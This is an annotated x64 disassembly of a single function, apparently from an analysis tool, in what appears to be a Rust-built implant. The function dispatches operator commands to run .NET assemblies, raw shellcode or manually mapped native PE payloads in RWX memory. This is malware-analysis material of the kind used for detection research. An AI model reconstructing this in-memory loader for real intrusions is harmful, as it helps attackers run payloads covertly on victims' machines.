Function at 0x14003d0c1
Capabilities:
Allocate or change rwx memory
Encode data using base64
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x388
mov rdx, rcx
lea r8, str.cmd_typeDOTNET_ExecutionShellcode_ExecutionNative_ExecutionfailureUnsupported_Command:
lea rcx, [rsp + 0x250]
mov r9d, 8
mov qword [rsp + 0x78], rdx
call fcn.14000f57f
mov rdi, qword [rsp + 0x250]
mov rax, qword [rsp + 0x260]
lea r12, [rsp + 0x60]
mov qword [r12], rdi
mov qword [r12 + 8], rax
lea rcx, [rsp + 0x80]
mov qword [rcx], r12
lea rax, [0x140156eb8]
lea rdx, [rsp + 0xe0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rbx, [fcn.140095849]
mov qword [rcx + 8], rbx
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rsi, [rsp + 0x40]
mov rcx, rsi
call fcn.140002919
mov rdx, qword [rsp + 0x258]
mov rcx, rdi
call fcn.1400f09e1
mov r15, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov r9, qword [rsp + 0x50]
lea rcx, [0x140156e9b]
mov edx, 4
mov r8, r15
call fcn.14000f1e4
mov rcx, r15
mov rdx, rdi
call fcn.1400f09e1
lea r8, str.cmd_typeDOTNET_ExecutionShellcode_ExecutionNative_ExecutionfailureUnsupported_Command:
lea rcx, [rsp + 0x208]
mov r9d, 8
mov rdx, qword [rsp + 0x78]
call fcn.14000f57f
mov rdi, qword [rsp + 0x208]
mov r14, qword [rsp + 0x218]
lea r8, [0x140156ed0]
mov r9d, 0x10
mov rcx, rdi
mov rdx, r14
call fcn.14005fba7
test al, al
je 0x14003d33c
lea r8, [0x140156f6c]
lea rcx, [rsp + 0xe0]
mov r9d, 8
mov rdx, qword [rsp + 0x78]
call fcn.14000f57f
lea rcx, [rsp + 0x250]
lea rdx, [rsp + 0xe0]
call fcn.14003f52f
lea r8, [0x140157018]
lea rcx, [rsp + 0x370]
lea rdx, [rsp + 0x250]
call fcn.14003f57b
mov rsi, qword [rsp + 0x370]
mov r13, qword [rsp + 0x380]
lea rcx, [rsp + 0xe0]
mov rdx, rsi
mov r8, r13
mov rbp, qword [rsp + 0x78]
call fcn.1400eb6cd
lea rcx, [rsp + 0xe0]
call fcn.140061f53
mov r14, qword [rbp + 0x20]
mov rdi, qword [rbp + 0x30]
test al, al
je 0x14003d689
lea r8, str.command_idThis_client_doesnt_have_support_for_this_command.cmd_argssrc_main.rs
lea rcx, [rsp + 0x340]
mov r9d, 0xa
mov rdx, rbp
call fcn.14000f57f
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0xa0], rax
mov r12, qword [rsp + 0x350]
mov rbx, qword [rbp + 0x38]
mov r15, qword [rbp + 0x48]
mov rbp, qword [rsp + 0x378]
mov qword [rsp + 0x238], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x240], xmm0
lea rcx, [rsp + 0xe0]
call fcn.140015f63
mov rax, qword [rsp + 0xe0]
test rax, rax
je 0x14003d809
movups xmm0, xmmword [rsp + 0xe8]
mov qword [rsp + 0xe8], rax
movups xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0xe0], 2
lea rcx, [rsp + 0x238]
call fcn.1400161c9
mov rcx, rsi
mov rdx, rbp
call fcn.1400f09e1
jmp 0x14003d86a
lea r8, [0x140156ee0]
mov r9d, 0x13
mov rcx, rdi
mov rdx, r14
call fcn.14005fba7
test al, al
je 0x14003d55e
lea r8, [0x140156f6c]
lea rcx, [rsp + 0xe0]
mov r9d, 8
mov rdx, qword [rsp + 0x78]
call fcn.14000f57f
lea rcx, [rsp + 0x250]
lea rdx, [rsp + 0xe0]
call fcn.14003f52f
lea r8, [0x140157000]
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x250]
call fcn.14003f57b
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x280], rax
movups xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x270], xmm0
mov rcx, qword [rsp + 0x78]
mov rax, qword [rcx + 0x30]
mov qword [rsp + 0x298], rax
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rsp + 0x288], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x250], xmm0
movaps xmmword [rsp + 0x260], xmm1
movups xmm0, xmmword [rcx + 0x38]
movaps xmmword [rsp + 0x2a0], xmm0
mov rax, qword [rcx + 0x48]
mov qword [rsp + 0x2b0], rax
and qword [rsp + 0x238], 0
call fcn.1400bfa20
mov r15, rax
xor ecx, ecx
call fcn.14009cca0
mov r14, rax
mov qword [rsp + 0x1d0], rax
lock inc qword [rax]
jle 0x14003edd9
mov qword [rsp + 0x220], r14
xorps xmm0, xmm0
lea rcx, [rsp + 0xe0]
movaps xmmword [rcx], xmm0
call fcn.14003b7f0
mov r12, rax
mov qword [rsp + 0xb0], rax
lock inc qword [rax]
jle 0x14003edd9
mov qword [rsp + 0x80], r12
xor ecx, ecx
call fcn.1400bd8e0
mov r13, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14003d49b
lock inc qword [r13]
jle 0x14003edd9
mov rcx, r13
call fcn.1400bd8e0
lea rcx, [rsp + 0xe0]
mov qword [rcx], rax
call fcn.14003b885
lea rax, [rsp + 0xf8]
lea rsi, [rsp + 0x250]
mov ecx, 0xe
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rax - 0x18], r14
mov qword [rax - 8], r13
mov qword [rax - 0x10], r12
mov rcx, qword [r12 + 0x10]
test rcx, rcx
je 0x14003d4ed
add rcx, 0x10
call fcn.14009fbf0
mov ecx, 0x88
call fcn.14003b899
mov rsi, rax
lea rdx, [rsp + 0xe0]
mov r8d, 0x88
mov rcx, rax
call sub.msvcrt.dll_memcpy
lea r8, fcn.14003bd98
mov rcx, r15
mov rdx, rsi
call fcn.1400bfb70
mov rsi, rdx
test rax, rax
je 0x14003dbb8
lea rcx, [rsp + 0xb0]
call fcn.1400def89
lea rcx, [rsp + 0x1d0]
call fcn.14000175a
mov qword [rsp + 0xe8], rsi
and qword [rsp + 0xe0], 0
jmp 0x14003dbd0
lea r8, [0x140156ef3]
mov r9d, 0x10
mov rcx, rdi
mov rdx, r14
call fcn.14005fba7
test al, al
je 0x14003d708
lea r8, [0x140156f6c]
lea rcx, [rsp + 0xe0]
mov r9d, 8
mov rdx, qword [rsp + 0x78]
call fcn.14000f57f
lea rcx, [rsp + 0x250]
lea rdx, [rsp + 0xe0]
call fcn.14003f52f
lea r8, [0x140156f80]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x250]
call fcn.14003f57b
mov rbx, qword [rsp + 0x40]
mov r14, qword [rsp + 0x50]
lea rcx, [rsp + 0xe0]
mov rdx, rbx
mov r8, r14
mov rsi, qword [rsp + 0x78]
call fcn.1400eb6cd
lea rcx, [rsp + 0xe0]
call fcn.140061f53
mov r12, qword [rsi + 0x20]
mov rdi, qword [rsi + 0x30]
test al, al
je 0x14003e0cf
lea r8, str.command_idThis_client_doesnt_have_support_for_this_command.cmd_argssrc_main.rs
lea rcx, [rsp + 0xe0]
mov r9d, 0xa
mov rdx, rsi
call fcn.14000f57f
mov r15, qword [rsp + 0xe0]
mov r9, qword [rsp + 0xf0]
mov rax, qword [rsi + 0x38]
mov rcx, qword [rsi + 0x48]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
lea rax, [0x140156fcd]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x31
mov rcx, r12
mov rdx, rdi
mov r8, r15
call fcn.140004cf9
mov rdx, qword [rsp + 0xe8]
mov rcx, r15
call fcn.1400f09e1
mov rdx, qword [rsp + 0x48]
mov rcx, rbx
jmp 0x14003e9dc
lea r8, str.command_idThis_client_doesnt_have_support_for_this_command.cmd_argssrc_main.rs
lea rcx, [rsp + 0xe0]
mov r9d, 0xa
mov rdx, rbp
call fcn.14000f57f
mov r15, qword [rsp + 0xe0]
mov r9, qword [rsp + 0xf0]
mov rax, qword [rbp + 0x38]
mov rcx, qword [rbp + 0x48]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
lea rax, str.Executable_is_not_a_DOTNET._Unable_to_proceed.kernel32.dll___no_kernel32.dll_
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x2e
mov rcx, r14
mov rdx, rdi
mov r8, r15
call fcn.140004cf9
mov rdx, qword [rsp + 0xe8]
mov rcx, r15
call fcn.1400f09e1
mov rdx, qword [rsp + 0x378]
jmp 0x14003d801
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], r14
lea rax, [0x140156f20]
lea rdx, [rsp + 0xe0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], rbx
mov qword [rdx + 0x10], rsi
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0x250]
call fcn.140002919
mov rdi, qword [rsp + 0x250]
mov rsi, qword [rsp + 0x258]
mov r9, qword [rsp + 0x260]
lea rcx, [0x140156f03]
mov edx, 7
mov r8, rdi
call fcn.14000f1e4
mov rcx, rdi
mov rdx, rsi
call fcn.1400f09e1
mov rdx, qword [rsp + 0x78]
mov rdi, qword [rdx + 0x20]
mov r14, qword [rdx + 0x30]
lea r8, str.command_idThis_client_doesnt_have_support_for_this_command.cmd_argssrc_main.rs
lea rcx, [rsp + 0xe0]
mov r9d, 0xa
call fcn.14000f57f
mov rsi, qword [rsp + 0xe0]
mov r9, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0x78]
mov rax, qword [rcx + 0x38]
mov rcx, qword [rcx + 0x48]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
lea rax, [0x140156f3a]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x32
mov rcx, rdi
mov rdx, r14
mov r8, rsi
call fcn.140004cf9
mov rdx, qword [rsp + 0xe8]
mov rcx, rsi
jmp 0x14003e9dc
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x188], rsi
mov qword [rsp + 0x190], rbp
mov qword [rsp + 0x198], r13
movups xmm0, xmmword [rsp + 0x238]
movups xmmword [rsp + 0x1a0], xmm0
mov rcx, qword [rsp + 0x248]
mov qword [rsp + 0x1b0], rcx
and qword [rsp + 0xe0], 0
mov cl, 2
mov byte [rsp + 0x180], cl
mov qword [rsp + 0x1b8], rax
mov byte [rsp + 0x1c0], cl
lea r8, [0x14012a4c8]
lea rcx, [rsp + 0x250]
lea rdx, [rsp + 0xe0]
call fcn.140001f4f
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], rbx
lea rax, str.Executable_reached_last_stage_before_execution._Assumed_success.to
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x40
mov rcx, r14
mov rdx, rdi
mov r8, qword [rsp + 0xa0]
mov r9, r12
call fcn.140004cf9
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x250]
call fcn.14001620d
mov r15, qword [rsp + 0xe0]
test r15, r15
jne 0x14003edc4
lea rcx, [rsp + 0xe0]
mov rax, qword [rcx + 8]
mov rdx, qword [rax + 0x18]
lea r8, [0x14012bae2]
call fcn.14001706d
mov r15, qword [rsp + 0xe0]
test r15, r15
jne 0x14003edc4
lea rcx, [rsp + 0xe0]
mov rdi, qword [rcx + 8]
lea r8, [0x14012baea]
mov r9d, 0xe
mov rdx, rdi
call fcn.1400176df
mov r15, qword [rsp + 0xe0]
test r15, r15
jne 0x14003edc4
lea rcx, [rsp + 0xe0]
mov r14, qword [rcx + 8]
lea r8, [0x14012baf8]
mov r9d, 7
mov rdx, r14
call fcn.140015e41
mov r15, qword [rsp + 0xe0]
test r15, r15
jne 0x14003edc4
lea rcx, [rsp + 0xe0]
mov r13, qword [rcx + 8]
lea r8, [0x14012baff]
mov r9d, 6
mov rdx, r14
call fcn.140015e41
mov r15, qword [rsp + 0xe0]
test r15, r15
jne 0x14003edc4
lea rcx, [rsp + 0xe0]
mov rsi, qword [rcx + 8]
lea r8, [0x14012bb05]
mov r9d, 9
mov rdx, r14
call fcn.140015e41
mov r15, qword [rsp + 0xe0]
test r15, r15
jne 0x14003edc4
lea rcx, [rsp + 0xe0]
mov rbp, qword [rcx + 8]
lea r8, [0x14012bb0e]
mov r9d, 8
mov rdx, r14
call fcn.140015e41
mov r15, qword [rsp + 0xe0]
test r15, r15
jne 0x14003edc4
lea r8, [rsp + 0xe0]
mov r12, qword [r8 + 8]
and qword [r8], 0
lea r14, [rsp + 0x40]
mov rcx, r14
mov rdx, r13
call fcn.140017a7f
cmp qword [rsp + 0x40], 0
jne 0x14003da7c
lea r13, [rsp + 0x40]
mov rax, qword [r13 + 8]
mov qword [rsp + 0xa0], rax
mov rax, qword [r13 + 0x10]
mov qword [rsp + 0xd8], rax
mov rax, qword [r13 + 0x18]
mov qword [rsp + 0x1f0], rax
lea r8, [rsp + 0xe0]
and qword [r8], 0
mov rcx, r13
mov rdx, rbp
call fcn.140017a7f
cmp qword [rsp + 0x40], 0
je 0x14003ea32
mov r15, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
test r15, r15
jne 0x14003efd2
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x250]
call fcn.14001620d
mov r15, qword [rsp + 0xe0]
test r15, r15
jne 0x14003edc4
mov rax, qword [rsp + 0xe8]
mov rbp, qword [rax + 0x18]
mov r15, qword [rsp + 0x2f8]
mov r13, qword [rsp + 0x308]
lea rbx, [rsp + 0x1f8]
mov dword [rbx], r13d
and dword [rbx + 4], 0
mov cx, 0x11
mov edx, 1
mov r8, rbx
call sub.oleaut32.dll_SafeArrayCreate
mov rsi, rax
lea r12, [rsp + 0x1d0]
and qword [r12], 0
mov rcx, rax
mov rdx, r12
call sub.oleaut32.dll_SafeArrayAccessData
lea rcx, [rsp + 0x60]
mov edx, eax
call fcn.1400172ac
cmp qword [rsp + 0x60], 0
je 0x14003dc15
mov eax, dword [rsp + 0x70]
lea rcx, [rsp + 0x98]
mov dword [rcx], eax
lea rax, [rsp + 0x220]
mov qword [rax], rcx
lea rcx, [0x1400f0458]
lea r8, str.Could_not_prepare_assembly_due_to_a_safe_array_related_error:
lea rdx, [rsp + 0xe0]
mov qword [rdx], r8
mov r8d, 1
mov qword [rdx + 8], r8
and qword [rdx + 0x20], 0
mov qword [rax + 8], rcx
mov r13, qword [rsp + 0x68]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], r8
lea rcx, [rsp + 0x80]
call fcn.140002919
mov r15, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x90]
test r13, r13
je 0x14003dcc2
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0x10]
jmp 0x14003dcc2
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], r12
mov qword [rsp + 0xf0], rsi
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xe0]
call fcn.14003b935
mov rcx, qword [rsp + 0x50]
call sub.kernel32.dll_CloseHandle
lea rcx, [rsp + 0x40]
call fcn.14000175a
lea rcx, [rsp + 0x48]
call fcn.1400def89
mov rcx, qword [rsp + 0x208]
mov rdx, qword [rsp + 0x210]
jmp 0x14003ea18
mov rcx, qword [rsp + 0x1d0]
mov rdx, r15
mov r8, r13
call sub.msvcrt.dll_memcpy
mov rcx, rsi
call sub.oleaut32.dll_SafeArrayUnaccessData
lea rcx, [rsp + 0x60]
mov edx, eax
call fcn.1400172ac
cmp qword [rsp + 0x60], 0
je 0x14003dccb
mov eax, dword [rsp + 0x70]
lea rcx, [rsp + 0x98]
mov dword [rcx], eax
lea rax, [rsp + 0x220]
mov qword [rax], rcx
lea rcx, [0x1400f0458]
lea r8, str.Could_not_prepare_assembly_due_to_a_safe_array_related_error:
lea rdx, [rsp + 0xe0]
mov qword [rdx], r8
mov r8d, 1
mov qword [rdx + 8], r8
and qword [rdx + 0x20], 0
mov qword [rax + 8], rcx
mov r13, qword [rsp + 0x68]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], r8
lea rcx, [rsp + 0x40]
call fcn.140002919
mov r15, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
test r13, r13
je 0x14003dcc2
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0x10]
test r15, r15
jne 0x14003efd2
lea r13, [rsp + 0x60]
and qword [r13], 0
mov rax, qword [rbp]
mov rcx, rbp
mov rdx, rsi
mov r8, r13
call qword [rax + 0x168]
mov dword [rsp + 0x80], eax
test eax, eax
js 0x14003dd2d
mov rsi, qword [rsp + 0x60]
test rsi, rsi
jne 0x14003dd94
mov edi, 0x1b
mov ecx, 0x1b
call fcn.140018028
mov r15, rax
mov rsi, rdx
movups xmm0, xmmword [0x14012bc8b]
movups xmmword [rax + 0xb], xmm0
movups xmm0, xmmword [str.Could_not_retrieve_assemblyCould_not_retrieve_assembly:]
jmp 0x14003ddff
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
lea rax, [0x14012bcb8]
lea rdx, [rsp + 0xe0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x1400f0458]
mov qword [rsp + 0x48], rcx
mov qword [rdx + 0x10], r14
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0xb0]
call fcn.140002919
mov r15, qword [rsp + 0xb0]
mov rsi, qword [rsp + 0xb8]
test r15, r15
jne 0x14003f00e
mov rbp, qword [rsp + 0x310]
mov r14, qword [rsp + 0x320]
lea rdx, [rsp + 0xb0]
and qword [rdx], 0
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + pe_nt_image_headers64]
mov dword [rsp + 0x1d0], eax
test eax, eax
js 0x14003de07
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
jne 0x14003de6b
mov edi, 0x1d
mov ecx, 0x1d
call fcn.140018028
mov r15, rax
mov rsi, rdx
movups xmm0, xmmword [0x14012befd]
movups xmmword [rax + 0xd], xmm0
movups xmm0, xmmword [str.Could_not_retrieve_entrypointCould_not_retrieve_entrypoint:]
movups xmmword [rax], xmm0
jmp 0x14003efd2
mov qword [rsp + 0x80], r12
lea rax, [0x14012bf30]
lea rdx, [rsp + 0xe0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x1400f0458]
mov qword [rsp + 0x88], rcx
lea rcx, [rsp + 0x80]
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0x60]
call fcn.140002919
mov r15, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
test r15, r15
jne 0x14003ede2
lea rdx, [rsp + 0x98]
and qword [rdx], 0
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x38]
mov dword [rsp + 0xac], eax
test eax, eax
js 0x14003edec
lea rdx, [rsp + 0xe0]
mov qword [rdx], 1
xorps xmm0, xmm0
movups xmmword [rdx + 8], xmm0
lea r8, [0x14012c0a8]
lea rcx, [rsp + 0x98]
call fcn.1400f0a0a
test al, al
jne 0x14003ee83
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x80], xmm0
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x98]
call fcn.1400f1906
mov rdi, qword [rsp + 0x90]
movaps xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x1d0], xmm0
mov qword [rsp + 0x1e0], rdi
mov r15, qword [rsp + 0x1d0]
lea r8, str.Main__Main_System.String___Cannot_handle_an_entrypoint_with_this_method_signature:
mov r9d, 6
mov rcx, r15
mov rdx, rdi
call fcn.1400176c3
test al, al
je 0x14003df55
lea r8, [rsp + 0xe0]
and qword [r8], 0
lea rcx, [rsp + 0x40]
mov rdx, rsi
call fcn.140017a7f
mov rsi, qword [rsp + 0x40]
jmp 0x14003e7b0
lea r8, [0x14012be8e]
mov r9d, 0x15
mov rcx, r15
mov rdx, rdi
call fcn.1400176c3
test al, al
je 0x14003ef4e
lea r12, [rsp + 0xb0]
mov qword [r12], 8
xorps xmm0, xmm0
movups xmmword [r12 + 8], xmm0
imul rdi, r14, 0x18
mov ebx, 8
xor r15d, r15d
test rdi, rdi
je 0x14003dff5
mov rcx, qword [rbp]
mov rdx, qword [rbp + 0x10]
call fcn.1400f0ae1
mov r13, rax
cmp r15, qword [rsp + 0xb8]
jne 0x14003dfd4
mov rcx, r12
mov rdx, r15
call fcn.140017aac
mov rbx, qword [rsp + 0xb0]
mov r15, qword [rsp + 0xc0]
add rbp, 0x18
mov qword [rbx + r15*8], r13
mov r15, qword [rsp + 0xc0]
inc r15
mov qword [rsp + 0xc0], r15
add rdi, 0xffffffffffffffe8
jmp 0x14003df9a
mov cx, 8
xor edx, edx
mov r8d, r15d
call sub.oleaut32.dll_SafeArrayCreateVector
mov r13, rax
mov r12, qword [rsp + 0xb0]
xor ebx, ebx
lea rbp, [rsp + 0x80]
lea rdi, [rsp + 0xac]
cmp r15, rbx
je 0x14003e052
mov dword [rsp + 0xac], ebx
mov r9, qword [r12 + rbx*8]
mov rcx, rbp
mov rdx, r13
mov r8, rdi
call fcn.1400172d8
cmp qword [rsp + 0x80], 0
jne 0x14003e6d7
inc rbx
jmp 0x14003e020
mov rdx, qword [rsp + 0xb8]
mov rcx, r12
call fcn.140017b6c
mov al, byte [0x1401d21f0]
mov ecx, 0x18
mov edx, 8
call fcn.14002c8c0
test rax, rax
je 0x14003f018
mov qword [rax], 0x2008
mov qword [rax + 8], r13
lea rdx, [rsp + 0xe0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rax
lea rcx, [rsp + 0x60]
call fcn.1400173b4
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x14003ec8a
movups xmm0, xmmword [rsp + 0x68]
mov qword [rsp + 0x48], rax
movups xmmword [rsp + 0x50], xmm0
jmp 0x14003e7a2
lea r8, str.command_idThis_client_doesnt_have_support_for_this_command.cmd_argssrc_main.rs
lea r15, [rsp + 0xe0]
mov r9d, 0xa
mov rcx, r15
mov rdx, rsi
call fcn.14000f57f
mov r13, qword [rsp + 0xe0]
mov r9, qword [rsp + 0xf0]
mov rax, qword [rsi + 0x38]
mov rcx, qword [rsi + 0x48]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
lea rax, str.Reached_last_stage_before_execution._Assumed_success.DOTNET_file__not_native._Upload_a_native_payload.
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x35
mov rcx, r12
mov rdx, rdi
mov r8, r13
call fcn.140004cf9
mov rdx, qword [rsp + 0xe8]
mov rcx, r13
call fcn.1400f09e1
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x1f0], rax
lea rcx, [rsp + 0x250]
mov rdx, rbx
mov r8, r14
call fcn.140061dfc
mov r12, qword [rsp + 0x250]
mov r13, qword [rsp + 0x260]
xor ecx, ecx
cmp r13, 2
cmovae rcx, r12
lea r8, [0x14015e858]
mov edx, 2
mov r9d, 2
call fcn.140061fc3
test al, al
jne 0x14003f070
cmp r13, 0x3d
jb 0x14003ed25
je 0x14003ed33
cmp r13, 0x3f
jb 0x14003ed47
je 0x14003ed5b
movzx eax, byte [r12 + 0x3c]
movzx ecx, byte [r12 + 0x3d]
movzx edx, word [r12 + 0x3e]
shl rdx, 0x10
shl rcx, 8
or rcx, rax
lea rsi, [rcx + rdx]
lea rbp, [rdx + rcx]
add rbp, 4
lea rax, [r12 + rsi]
xor ecx, ecx
cmp rbp, r13
cmovbe rcx, rax
lea r8, [0x14015e558]
mov edx, 4
mov r9d, 4
call fcn.140061fc3
test al, al
jne 0x14003f070
cmp rbp, r13
jae 0x14003ed6f
add rsi, 5
cmp rsi, r13
jae 0x14003ed78
movzx ecx, byte [r12 + rbp]
movzx eax, byte [r12 + rsi]
shl eax, 8
or eax, ecx
cmp eax, 0x200
je 0x14003e249
cmp eax, 0x8664
jne 0x14003f02c
mov rdx, qword [rsp + 0x258]
mov rcx, r12
call fcn.140030983
cmp r14, 1
jbe 0x14003ef33
cmp byte [rbx], 0x4d
jne 0x14003ef33
cmp byte [rbx + 1], 0x5a
jne 0x14003ef33
cmp r14, 0x3f
jbe 0x14003f08d
mov eax, dword [rbx + 0x3c]
lea rcx, [rax + 0x1a]
cmp rcx, r14
ja 0x14003f0a8
movzx ecx, word [rax + rbx + 0x18]
cmp ecx, 0x10b
je 0x14003e2a9
cmp ecx, 0x20b
jne 0x14003f110
lea rcx, [rax + 0x54]
cmp rcx, r14
jae 0x14003ed92
lea rcx, [rax + 0x55]
cmp rcx, r14
jae 0x14003ed9b
lea rcx, [rax + 0x56]
cmp rcx, r14
jae 0x14003eda4
lea rdx, [rax + 0x57]
cmp rdx, r14
jae 0x14003edad
movzx r8d, byte [rbx + rax + 0x54]
mov qword [rsp + 0xa0], r8
movzx r12d, byte [rbx + rax + 0x55]
movzx ebp, byte [rbx + rcx]
movzx esi, byte [rbx + rdx]
lea rax, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
mov qword [rsp + 0x20], rax
mov r9d, 2
mov rcx, rbx
mov rdx, r14
xor r8d, r8d
call fcn.140061fe6
mov r8, rdx
lea rdi, [rsp + 0x250]
mov rcx, rdi
mov rdx, rax
call fcn.14001fd60
cmp qword [rdi], 0
jne 0x14003f0c0
mov rcx, qword [rsp + 0x258]
mov rdx, qword [rsp + 0x260]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rdx
lea r8, [0x14015e858]
mov r9d, 2
call fcn.14005fba7
test al, al
je 0x14003f0d8
lea rax, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
mov qword [rsp + 0x20], rax
mov r8d, 0x3c
mov r9d, 0x40
mov rcx, rbx
mov rdx, r14
call fcn.140061fe6
mov r9, rdx
lea rcx, [rsp + 0xe0]
and dword [rcx], 0
lea rdx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
mov qword [rsp + 0x20], rdx
mov edx, 4
mov r8, rax
call fcn.1400c5168
movsxd r13, dword [rsp + 0xe0]
lea r8, [r13 + 0x18]
lea r9, [r13 + 0x1a]
lea rax, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r14
call fcn.140061fe6
mov r9, rdx
lea r15, [rsp + 0xe0]
and word [r15], 0
lea rcx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
mov qword [rsp + 0x20], rcx
mov edx, 2
mov rcx, r15
mov r8, rax
call fcn.1400c5168
movzx eax, word [rsp + 0xe0]
cmp eax, 0x10b
je 0x14003e424
cmp eax, 0x20b
jne 0x14003f128
lea r9, [r13 + 0x54]
add r13, 0x50
lea rax, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r14
mov r8, r13
call fcn.140061fe6
mov r9, rdx
lea rcx, [rsp + 0xe0]
and dword [rcx], 0
lea rdx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
mov qword [rsp + 0x20], rdx
mov edx, 4
mov r8, rax
call fcn.1400c5168
movsxd rdx, dword [rsp + 0xe0]
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call sub.kernel32.dll_VirtualAlloc
mov r15, rax
shl rsi, 0x18
shl rbp, 0x10
shl r12, 8
add r12, qword [rsp + 0xa0]
or r12, rbp
or r12, rsi
mov rcx, rax
mov rdx, rbx
mov r8, r12
call sub.msvcrt.dll_memcpy
movsxd rax, dword [rbx + 0x3c]
lea rcx, [rax + rbx]
xor esi, esi
cmp dword [rax + rbx], 0x4550
cmove rsi, rcx
lea rcx, [rsp + 0xe0]
mov rdx, rbx
mov r8, r14
call fcn.140061dfc
mov qword [rsp + 0xd8], rsi
movzx esi, word [rsi + 6]
mov qword [rsp + 0xd0], rbx
movsxd rax, dword [rbx + 0x3c]
mov r14, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xf0]
lea rbx, [r15 + rax]
add rbx, 0x11c
lea r12, str.invalid_type:___expected
sub si, 1
jb 0x14003e54d
mov eax, dword [rbx]
mov ecx, dword [rbx - 8]
mov r8d, dword [rbx - 4]
lea r9d, [r8 + rax]
mov rdx, rax
add rdx, r14
cmp rdi, r9
cmovb rdx, r12
mov r9d, r8d
add r9d, eax
cmovb rdx, r12
add rcx, r15
call sub.msvcrt.dll_memcpy
add rbx, 0x28
jmp 0x14003e515
mov rdx, qword [rsp + 0xe8]
mov rcx, r14
call fcn.140030983
mov rax, qword [rsp + 0xd8]
cmp dword [rax + 0x94], 0
je 0x14003e649
mov rax, qword [rsp + 0xd8]
mov esi, dword [rax + 0x90]
add rsi, r15
